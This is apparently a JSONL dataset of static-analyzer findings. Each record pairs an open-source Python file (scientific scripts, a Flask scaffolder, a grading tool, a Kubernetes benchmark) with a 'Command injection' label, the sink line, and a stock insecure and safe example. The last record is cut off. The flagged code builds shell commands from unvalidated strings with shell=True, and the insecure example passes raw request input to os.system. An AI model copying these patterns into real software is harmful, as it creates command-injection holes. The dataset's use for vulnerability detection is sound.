{"id": "910f76b65de57546c0b49302490e9a45abbc899a42a5f80535056ece96f929da", "license": {"spdx": ["MIT"], "repo": "binchensun/hissw", "path": "hissw/environment.py", "repo_head_hexsha": "c03599b1d6c75dc7117318ecde20a49b8f14a97d", "stack_hexsha": "e8aaccc9d7657be30449c0f2c759dfb4f94b6bc3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 129, "entireCode": "\"\"\"\nBuild SSW scripts from Jinja 2 templates\n\"\"\"\nimport os\nimport datetime\nimport subprocess\nimport tempfile\n\nfrom jinja2 import (Environment as Env,\n FileSystemLoader,\n PackageLoader)\nfrom scipy.io import readsav\n\nfrom .read_config import defaults\nfrom .util import SSWIDLError, IDLLicenseError\n\n\nclass Environment(object):\n \"\"\"\n Environment for running SSW and IDL scripts\n\n Parameters\n ----------\n ssw_packages : list, optional\n List of SSW packages to load, e.g. 'sdo/aia', 'chianti'\n ssw_paths : list, optional\n List of SSW paths to pass to `ssw_path`\n extra_paths : list, optional\n Additional paths to add to the IDL namespace\n ssw_home : str, optional\n Root of SSW tree\n idl_home : str, optional\n Path to IDL executable\n \"\"\"\n\n def __init__(self, ssw_packages=None, ssw_paths=None, extra_paths=None,\n ssw_home=None, idl_home=None,):\n self.ssw_packages = ssw_packages if ssw_packages is not None else []\n self.ssw_paths = ssw_paths if ssw_paths is not None else []\n self.extra_paths = extra_paths if extra_paths is not None else []\n self.env = Env(loader=PackageLoader('hissw', 'templates'))\n self._setup_home(ssw_home, idl_home,)\n\n def _setup_home(self, ssw_home, idl_home,):\n \"\"\"\n Setup SSW and IDL home locations\n \"\"\"\n self.ssw_home = defaults['ssw_home'] if ssw_home is None else ssw_home\n if self.ssw_home is None:\n raise ValueError('''ssw_home must be set at instantiation or in the hisswrc file.''')\n self.idl_home = defaults['idl_home'] if idl_home is None else idl_home\n if self.idl_home is None:\n raise ValueError('''idl_home must be set at instantiation or in the hisswrc file.''')\n\n def custom_script(self, script, args):\n \"\"\"\n Generate custom IDL scripts from templates\n \"\"\"\n if os.path.isfile(script):\n env = Env(loader=FileSystemLoader(os.path.dirname(script)))\n idl_script = env.get_template(os.path.basename(script)).render(**args)\n else:\n env = Env()\n idl_script = env.from_string(script).render(**args)\n\n return idl_script\n\n def procedure_script(self, script, save_vars, save_filename):\n \"\"\"\n Render inner procedure file\n \"\"\"\n if save_vars is None:\n save_vars = []\n params = {'script': script, 'save_vars': save_vars, 'save_filename': save_filename}\n return self.env.get_template('procedure.pro').render(**params)\n\n def command_script(self, procedure_filename):\n \"\"\"\n Generate parent IDL script\n \"\"\"\n params = {'ssw_paths': self.ssw_paths,\n 'extra_paths': self.extra_paths,\n 'procedure_filename': procedure_filename}\n return self.env.get_template('parent.pro').render(**params)\n\n def shell_script(self, command_filename):\n \"\"\"\n Generate shell script for starting up SSWIDL\n \"\"\"\n params = {'ssw_home': self.ssw_home,\n 'ssw_packages': self.ssw_packages,\n 'idl_home': self.idl_home,\n 'command_filename': command_filename}\n return self.env.get_template('startup.sh').render(**params)\n\n def run(self, script, args=None, save_vars=None, verbose=True):\n \"\"\"\n Set up the SSWIDL environment and run the supplied scripts.\n\n Parameters\n ----------\n script : str\n Literal script or path to script file\n args : dict, optional\n Input arguments to script\n save_vars : list, optional\n Variables to save and return from the IDL namespace\n verbose : bool, optional\n \"\"\"\n args = {} if args is None else args\n with tempfile.TemporaryDirectory() as tmpdir:\n # Get filenames\n fn_template = os.path.join(\n tmpdir, '{name}_'+datetime.datetime.now().strftime('%Y%m%d-%H%M%S')+'.{ext}')\n save_filename = fn_template.format(name='idl_vars', ext='sav')\n procedure_filename = fn_template.format(name='idl_procedure', ext='pro')\n command_filename = fn_template.format(name='idl_script', ext='pro')\n shell_filename = fn_template.format(name='ssw_shell', ext='sh')\n # Render and save scripts\n idl_script = self.custom_script(script, args)\n with open(procedure_filename, 'w') as f:\n f.write(self.procedure_script(idl_script, save_vars, save_filename))\n with open(command_filename, 'w') as f:\n f.write(self.command_script(procedure_filename))\n with open(shell_filename, 'w') as f:\n f.write(self.shell_script(command_filename,))\n # Execute\n subprocess.call(['chmod', 'u+x', shell_filename])\n cmd_output = subprocess.run([shell_filename], shell=True, stderr=subprocess.PIPE,\n stdout=subprocess.PIPE)\n self._check_for_errors(cmd_output, verbose)\n results = readsav(save_filename)\n\n return results\n\n def _check_for_errors(self, output, verbose):\n \"\"\"\n Check IDL output to try and decide if an error has occurred\n \"\"\"\n stdout = output.stdout.decode('utf-8')\n stderr = output.stderr.decode('utf-8')\n # NOTE: For some reason, not only errors are output to stderr so we\n # have to check it for certain keywords to see if an error occurred\n if 'execution halted' in stderr.lower():\n raise SSWIDLError(stderr)\n if 'failed to acquire license' in stderr.lower():\n raise IDLLicenseError(stderr)\n if verbose:\n print(f'{stderr}\\n{stdout}')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 129, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "4b0c1ef989578211a354fd7237683b441fe6c1287acf7065981a55aa9455ccd9", "license": {"spdx": ["MIT"], "repo": "zacharybeebe/template_flask", "path": "template_flask/funcs.py", "repo_head_hexsha": "0bae0a5211a12902bf4a60e2307c7f218a016843", "stack_hexsha": "eca5d1f5d617d049e1729b1c1c9b71a87d2f065e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 136, "entireCode": "import os\nimport site\nimport venv\nimport subprocess\nimport time\nfrom random import choice, randrange\nfrom .constants import *\n\n\ndef generate_random_secret_key():\n key = ''\n for i in range(32):\n alpha = choice([chr(randrange(65, 91)), chr(randrange(97, 123))])\n num = chr(randrange(48, 58))\n sym = choice([chr(randrange(33, 48)), chr(randrange(58, 65)), chr(randrange(123, 127))])\n key += choice([alpha, num, sym])\n return key\n\n\ndef copy_bootstrap(dest_path, bs_type):\n if bs_type in ['css', 'js']:\n end_path = os.path.join(os.path.join('bootstrap', 'static'), bs_type)\n else:\n end_path = os.path.join('bootstrap', bs_type)\n src_path = os.path.join(os.path.dirname(__file__), end_path)\n\n for filename in os.listdir(src_path):\n iterables = []\n src_file = os.path.join(src_path, filename)\n with open(src_file, 'r') as f:\n for line in f.readlines():\n fill = line.replace('\\n', '')\n iterables.append([f'''{fill}''', False])\n\n dest_file = os.path.abspath(os.path.join(dest_path, filename))\n write_file(dest_file, iterables)\n\n\ndef write_file(file_path, iterable_lines, fills: dict={}):\n with open(file_path, 'w') as f:\n for line in iterable_lines:\n line_to_write, needs_fill = line\n\n if needs_fill:\n f.write(f'{line_to_write.format(**fills)}\\n')\n else:\n f.write(f'{line_to_write}\\n')\n\n\ndef create_dir_and_venv(project_name: str, full_path: str):\n FILLS = {\n 'app': project_name,\n 'secret_key': generate_random_secret_key(),\n }\n\n venv_path = os.path.join(full_path, 'venv')\n venv.create(venv_path, with_pip=True)\n\n package_path = os.path.join(full_path, f'{project_name}_app')\n config_dir = os.path.join(package_path, 'config')\n models_dir = os.path.join(package_path, 'models')\n routes_dir = os.path.join(package_path, 'routes')\n\n static_dir = os.path.join(package_path, 'static')\n css_dir = os.path.join(static_dir, 'css')\n img_dir = os.path.join(static_dir, 'img')\n js_dir = os.path.join(static_dir, 'js')\n css_boot = os.path.join(css_dir, 'bootstrap')\n js_boot = os.path.join(js_dir, 'bootstrap')\n js_fetcher = os.path.join(js_dir, 'fetcher.js')\n\n templates_dir = os.path.join(package_path, 'templates')\n templates_boot = os.path.join(templates_dir, 'bootstrap')\n index_path = os.path.join(templates_dir, 'index.html')\n\n config_init = os.path.join(config_dir, '__init__.py')\n config_config = os.path.join(config_dir, 'app_config.py')\n\n models_init_hint = os.path.join(models_dir, '_LOOK IN MODELS __INIT__.txt')\n models_init = os.path.join(models_dir, '__init__.py')\n models_db = os.path.join(models_dir, 'db.py')\n models_datatypes = os.path.join(models_dir, 'datatypes.py')\n models_user = os.path.join(models_dir, 'user.py')\n models_other_model = os.path.join(models_dir, 'other_model.py')\n\n routes_init = os.path.join(routes_dir, '__init__.py')\n routes_routes = os.path.join(routes_dir, 'routes.py')\n\n run_main = os.path.join(full_path, 'run.py')\n init_main = os.path.join(package_path, '__init__.py')\n\n os.mkdir(package_path)\n os.mkdir(config_dir)\n os.mkdir(models_dir)\n os.mkdir(routes_dir)\n os.mkdir(static_dir)\n os.mkdir(css_dir)\n os.mkdir(img_dir)\n os.mkdir(js_dir)\n os.mkdir(css_boot)\n os.mkdir(js_boot)\n os.mkdir(templates_dir)\n os.mkdir(templates_boot)\n\n write_file(index_path, INDEX_HTML, fills=FILLS)\n\n write_file(config_init, CONFIG_INIT)\n write_file(config_config, CONFIG_CONFIG, fills=FILLS)\n\n write_file(js_fetcher, JS_FETCHER)\n\n write_file(models_init_hint, MODEL_INIT_HINT)\n write_file(models_init, MODEL_INIT, fills=FILLS)\n write_file(models_db, MODEL_DB)\n write_file(models_datatypes, MODEL_DATATYPES)\n write_file(models_user, MODEL_USER, fills=FILLS)\n write_file(models_other_model, MODEL_OTHER_MODEL, fills=FILLS)\n\n write_file(routes_init, ROUTE_INIT)\n write_file(routes_routes, ROUTE_ROUTE, fills=FILLS)\n\n write_file(run_main, RUN, fills=FILLS)\n write_file(init_main, INIT, fills=FILLS)\n\n copy_bootstrap(templates_boot, 'templates')\n copy_bootstrap(css_boot, 'css')\n copy_bootstrap(js_boot, 'js')\n\n\ndef activate_venv_and_install_reqs(project_name: str, full_path: str):\n reqs_path = os.path.join(full_path, 'requirements.txt')\n venv_path = os.path.join(full_path, os.path.join('venv', 'Scripts'))\n\n os.chdir(venv_path)\n cmd = f'python -m pip install {\" \".join(REQUIREMENTS)}'\n subprocess.run(cmd, shell=True)\n print()\n\n cmd = f'python -m pip freeze'\n reqs = [x.decode('utf-8').split('==')[0]\n for x in subprocess.run(cmd, check=True, stdout=subprocess.PIPE, shell=True).stdout.splitlines()]\n\n print('Completed installing requirements into virtual environment\\n')\n for req in reqs:\n print(req)\n time.sleep(0.05)\n print()\n print('Packages above have been automatically installed into virtual environment')\n\n with open(reqs_path, 'w') as f:\n for req in reqs:\n f.write(f\"\"\"{req}\\n\"\"\")\n\n print('Completed writing initial \"requirements.txt\"\\n')\n print(DIRECTORY_STRUCTURE.format(app=project_name))\n\n\n\n\nif __name__ == '__main__':\n print(get_bootstrap_path())\n\n\n\n\n\n\n\n\n\n\n\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 136, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e464df30487f2b2003b6e8bebb1e27c8e5d8416fa9fbef13795823565b773694", "license": {"spdx": ["Apache-2.0"], "repo": "malags/java-misconceptions-pmd", "path": "run.py", "repo_head_hexsha": "2c7cc588dab53277b38915a941ab054e3c85aaae", "stack_hexsha": "88a0ea18d8d4f0ffa5ca6790690153c088f1b61c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 44, "entireCode": "#!/usr/bin/env python3\n\nfrom pathlib import Path\nimport sys\nimport subprocess\nimport re\nimport argparse\nimport os\n#Path of file\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n#TODO: insert correct org name\norg='YOUR_ORG_NAME_HERE'\n\n\npmd_pos = dir_path + '/pmd-bin-6.14.0/bin'\npos_yaclu = dir_path+ '/yaclu'\nroot = dir_path+ '/student-repos'\npos_classroom_sh = dir_path+ '/classroom-util'\n\n\n\nparser = argparse.ArgumentParser(description='Use to download and run tests on git repos')\nparser.add_argument('lab', help='the lab to utilise i.e. lab01')\nparser.add_argument('-clone', action='store_true', help='clone the repositories for the lab')\nparser.add_argument('-pull', action='store_true', help='pull the repositories for the lab')\nparser.add_argument('-check', action='store_true', help='run pmd on the repositories')\nparser.add_argument('-report', action='store_true', help='create a report with the total of the violation per pmd rule, need -check beforehand')\nparser.add_argument('-enablers', action='store_true', help='use jar for enablers')\nargs = parser.parse_args()\n\n\n#assume path is correct\ndef get_all_folders(root):\n p = Path(root);\n folders = [];\n for folder in p.iterdir():\n if folder.is_dir():\n folders.append(folder.name);\n return folders;\n\ndef run_pmd(root,folders,command):\n for folder in folders:\n subprocess.run('cd '+root+'/'';'+command +' '+folder, shell=True);\n\ndef run_pmd_check(root,folders):\n subprocess.run('cd '+root+'; echo \"\" > violation.csv', shell=True);\n for folder in folders:\n if not args.enablers:\n jar = '/JavaRules/pmd-examples/pf2_custom_rules.jar'\n en = 'v'\n else:\n jar = '/RulesEnabler/pmd-examples/pf2_custom_rules_enabler.jar'\n en = 'enablerV'\n subprocess.run('cd ' + root + '/ ;CLASSPATH=' + dir_path + jar +' ' + pmd_pos +'/run.sh pmd -no-cache -f csv -d ' + folder + ' -R myrule.xml -t 8 | grep -v \"Test.java\" | tee '+root+'/'+folder+ '/' + en + 'iolation.csv >> violation.csv', shell=True);\n\ndef run_pmd_output(root,folders,command):\n out = {};\n for folder in folders:\n p = subprocess.check_output('cd '+root+'/'+folder+';'+command, shell=True);\n p = p.decode(\"utf-8\");\n p = p.split('\\n');\n\n for part in p:\n if len(part) < 2:\n continue;\n rule_name = part.split(' ')[4][5:];\n if rule_name in out:\n out[rule_name] = out[rule_name] + 1;\n else:\n out[rule_name] = 1;\n return out;\n\nif(len(sys.argv) < 2):\n print(\"need a lab\");\n exit();\n\npath = sys.argv[1];\n\nif(not re.match(\"lab[0-9]+\",path)):\n print(\"invalid lab \",path,' should be like lab[0-1]+');\n exit();\n\n#convert to absolute path\nlab = path.replace('lab','lab-');\npath = root + '/' + path;\n\nif(not Path(path).exists()):\n print('creating folder ' + lab);\n subprocess.run('mkdir ' + path, shell=True);\n\nif(not Path(path).is_dir()):\n print('need a folder name as first argument');\n exit();\n\nsubfolders = get_all_folders(path);\n\n\nif(args.clone):\n subfolders = get_all_folders(path);\n #python3 ../../yaclu/get-assignment-repos.py usi-pf2-2019 lab-01 > meta.txt\n command = 'python3 ' + pos_yaclu + '/get-assignment-repos.py ' + org + ' ' + lab + '> ' + path + '/meta.txt';\n print(command);\n subprocess.run(command, shell=True);\n command = 'cd ' + path + ' ; ' + pos_classroom_sh + '/classroom.sh collect ' +path + '/meta.txt ' + lab;\n print(command);\n subprocess.run(command, shell=True)\n\nif(args.pull):\n command = 'cd ' + path + ' ; ' + pos_classroom_sh + '/classroom.sh collect ' +path + '/meta.txt ' + lab;\n print(command);\n subprocess.run(command, shell=True)\n\nif(args.check):\n run_pmd_check(path,subfolders);\n\nif(args.report):\n F = open(path+'/violation.csv','r')\n #already checked student\n done = False\n\n violationsTotal = {};\n violationsStudent = {};\n lastRule = ''\n\n for line in F:\n\n pieces = line.split(',')\n if(len(pieces) < 7):\n continue\n rule_name = pieces[-1]\n if 'Test.java' in line:\n continue\n if rule_name == '\"Rule\"\\n':\n continue\n #total count\n if rule_name in violationsTotal:\n violationsTotal[rule_name] = violationsTotal[rule_name] + 1;\n else:\n violationsTotal[rule_name] = 1;\n\n student_name = re.search('lab-\\d+-((\\d|[a-z]|[A-Z])+)', pieces[2]).group(1)\n\n if rule_name in violationsStudent:\n if not student_name in violationsStudent[rule_name]:\n violationsStudent[rule_name].append(student_name);\n else:\n violationsStudent[rule_name] = [student_name];\n\n\n\n\n #out = run_pmd_output(path,subfolders,'cat pmd_failures');\n csv = open(path+'/report_rules_total.csv', \"w\");\n csv.write('Rule, Number\\n');\n for key in violationsTotal:\n csv.write(key.strip()+','+str(violationsTotal[key])+'\\n');\n csv.close();\n\n csv = open(path+'/report_rules_total_nr_students.csv', \"w\");\n csv.write('Rule, Number\\n');\n for key in violationsStudent:\n csv.write(key.strip()+','+str(len(violationsStudent[key]))+'\\n');\n csv.close();\n print()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "2948486511c6ff7f15c0db0998db2f9eb1398ab6cdde5b3214972401eb996b76", "license": {"spdx": ["MIT"], "repo": "martin-rdz/trace", "path": "animate_flex.py", "repo_head_hexsha": "ef4173a0c5bd399c132e5be34bef19f89599f3eb", "stack_hexsha": "40ceb6d685867792705776f8aa13ed9a53383a7e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 106, "entireCode": "#! /usr/bin/env python3\n# coding=utf-8\n\"\"\"\"\"\"\n\"\"\"\nAuthor: \n\n\n\"\"\" \n\nimport datetime\nimport argparse\nimport sys, os\nimport gc\nimport subprocess\nimport traceback\nimport numpy as np\nimport toml\nsys.path.append(\"..\")\nimport trace_source\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--station', help='station name like limassol, barbados or mcmurdo')\nparser.add_argument('--datetime', help='date in the format YYYYMMDD-HH')\nparser.add_argument('--levels', nargs='+', type=int)\nparser.add_argument('--dynamics', default='false', help='add the isobars/isoterms from the grib files')\n#parser.add_argument('--daterange', help='date range in the format YYYYMMDD-YYYMMDD')\n\n\nargs = parser.parse_args()\n\n\nconfig_file = 'config_{}.toml'.format(args.station)\n\n\nwith open(config_file) as f:\n config = toml.loads(f.read())\n\nend = datetime.datetime.strptime(args.datetime, '%Y%m%d-%H')\nsavepath = '{}/{}_maps'.format(config['plot_dir'], end.strftime('%Y%m%d_%H'))\nprint(\"savepath \", savepath)\n\nfolder = config['partposit_dir'] + '{}/'.format(end.strftime('%Y%m%d_%H'))\nprint('partposit_dir', folder)\n\ndt_range = [end-datetime.timedelta(days=10), end]\n\nfiles = os.listdir(folder)\nfiles = sorted([f for f in files if 'partposit' in f])\nls = trace_source.land_sfc.land_sfc()\n\nif args.levels is not None:\n levels = args.levels\nelse:\n # get levels from config file\n raise ValueError\nprint('levels ', args.levels)\n\nif args.dynamics == 'false':\n add_dyn = False\nelif args.dynamics == 'true':\n add_dyn = True\nelse:\n raise ValueError\n\nlevel_to_heights = {}\n\nfor f in files[:]:\n\n for i in levels:\n dt = datetime.datetime.strptime(f[10:], '%Y%m%d%H%M%S')\n part_pos = trace_source.flexpart.read_partpositions(folder + f, 1, ctable=False)\n\n traj = trace_source.flexpart.read_flexpart_traj_meta(folder + \"trajectories.txt\")\n level_to_heights[i] = np.mean(traj['releases_meta'][i]['heights'])\n trace_source.flexpart.plot_part_loc_map(part_pos, i, dt, traj, savepath, ls=ls, \n config=config, \n add_dyn=add_dyn,\n )\n #add_fire='M6_7452')\n gc.collect()\n\n\n# for a nicer animation also include the last timestep\n#\nfor i in levels:\n dt = end\n traj = trace_source.flexpart.read_flexpart_traj_meta(folder + \"trajectories.txt\")\n meta = traj['releases_meta'][i]\n part_pos = [[i, meta['lat_lon_bounds'][0], meta['lat_lon_bounds'][1], np.mean(meta['heights'])]]\n\n trace_source.flexpart.plot_part_loc_map(part_pos, i, dt, traj, savepath, ls=ls, \n config=config, \n add_dyn=add_dyn,\n )\n\nos.chdir(savepath)\nprint(os.getcwd())\n\nfor i in levels:\n\n fname_animation = \"{}_{:.0f}_r{:0>2}_{}.gif\".format(end.strftime('%Y%m%d_%H'), level_to_heights[i], i, args.station)\n command = \"convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r{:0>2}*.png | sort -r` {}\".format(i, fname_animation)\n print('run: ', command)\n try:\n process = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True)\n except:\n traceback.print_exc()\n\n fname_animation = \"{}_{:.0f}_r{:0>2}_{}_f.gif\".format(end.strftime('%Y%m%d_%H'), level_to_heights[i], i, args.station)\n command = \"convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r{:0>2}*.png | sort ` {}\".format(i, fname_animation)\n print('run: ', command)\n try:\n process = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True)\n except:\n traceback.print_exc()\n\n # from flexpart module\n # convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif\n # from notebook \n # convert -delay 20 -loop 0 `ls r2*.png | sort -r` r2.gif\n # convert -resize 1500x1000 -delay 20 -loop 0 `ls r4*.png | sort -r` r4.gif\n # convert -scale 50% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif\n # convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 106, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "97052d2cf53c1c6975e759a90b22d24703c2b32ab900d2f278a3fd292e0aab5a", "license": {"spdx": ["Apache-2.0"], "repo": "pchaigno/egress-filtering-benchmark", "path": "benchmark/run_tests.py", "repo_head_hexsha": "25e99fd7135d43fd079b9f6179d0d6221cc942a9", "stack_hexsha": "319c116581f5d31dc34d7e06a83616b881959c13", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 36, "entireCode": "import json\nimport sys\nimport csv\nimport argparse\nimport time\nimport subprocess\n\nimport pingparsing\n\n# defined in parameters.py\nfrom parameters import (\n filters,\n number_rules,\n iterations,\n iface,\n bandwidth,\n seed,\n ipnets,\n ping_interval,\n ping_count,\n)\n\nfrom k8s import benchmark_pod_tmpl\n\nfrom string import Template\n\nparser = argparse.ArgumentParser(\"Test egress performance\")\nparser.add_argument(\"--username\")\nparser.add_argument(\"--client\")\nparser.add_argument(\"--server\")\nparser.add_argument(\"--mode\")\nargs = parser.parse_args()\n\ndef get_pod(pod_name):\n cmd = \"kubectl get pod -n default {} -o jsonpath='{{.metadata.name}}'\".format(pod_name)\n result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n return result.stdout.decode(\"utf-8\")\n\n\ndef delete_benchmark_pod(pod_name):\n exists = get_pod(pod_name)\n if exists == \"\":\n return None\n\n cmd = \"kubectl delete pod -n default {}\".format(pod_name)\n result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n return result.stdout.decode(\"utf-8\")\n\ndef pod_status(pod_name):\n cmd = \"kubectl get pod {} -o jsonpath='{{.status.phase}}'\".format(pod_name)\n result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True)\n return result.stdout.decode(\"utf-8\")\n\ndef get_output(pod_name):\n phase = pod_status(pod_name)\n for x in range(1,100):\n if phase != \"Succeeded\":\n time.sleep(3)\n phase = pod_status(pod_name)\n\n if phase == \"Succeeded\":\n cmd = \"kubectl logs -n default {}\".format(pod_name)\n result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n return result.stdout.decode(\"utf-8\")\n\n return None\n\ndef run_on_k8s(filter,nrules,cmd):\n benchmark_cmd = Template(benchmark_pod_tmpl).substitute(count=nrules, iface=iface, seed=seed, ipnets=ipnets, filter=filter,cmd=cmd)\n cmd = '''\nkubectl apply -f - << EOF\n{}\nEOF'''.format(benchmark_cmd)\n\n result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n return result.stdout.decode(\"utf-8\")\n\n\nbenchmark_cmd_format = \"sudo -E ./benchmark -count {count} -iface {iface} -seed {seed} -ipnets {ipnets} -filter {filter}\"\ndef run_test(filter, nrules, cmd):\n benchmark_cmd = benchmark_cmd_format.format(count=nrules, iface=iface, seed=seed, ipnets=ipnets, filter=filter)\n cmd = \"export BENCHMARK_COMMAND='{}' ; {}\".format(cmd, benchmark_cmd)\n return run_in_client(cmd)\n\niperf_cmd_format_for_k8s = \"iperf3 -c {server} {mode_flags} -O 2 -t 10 -A 2 -J\"\niperf_cmd_format = \"docker run --name iperfclient --net=host networkstatic/iperf3 -c {server} {mode_flags} -O 2 -t 10 -A 2 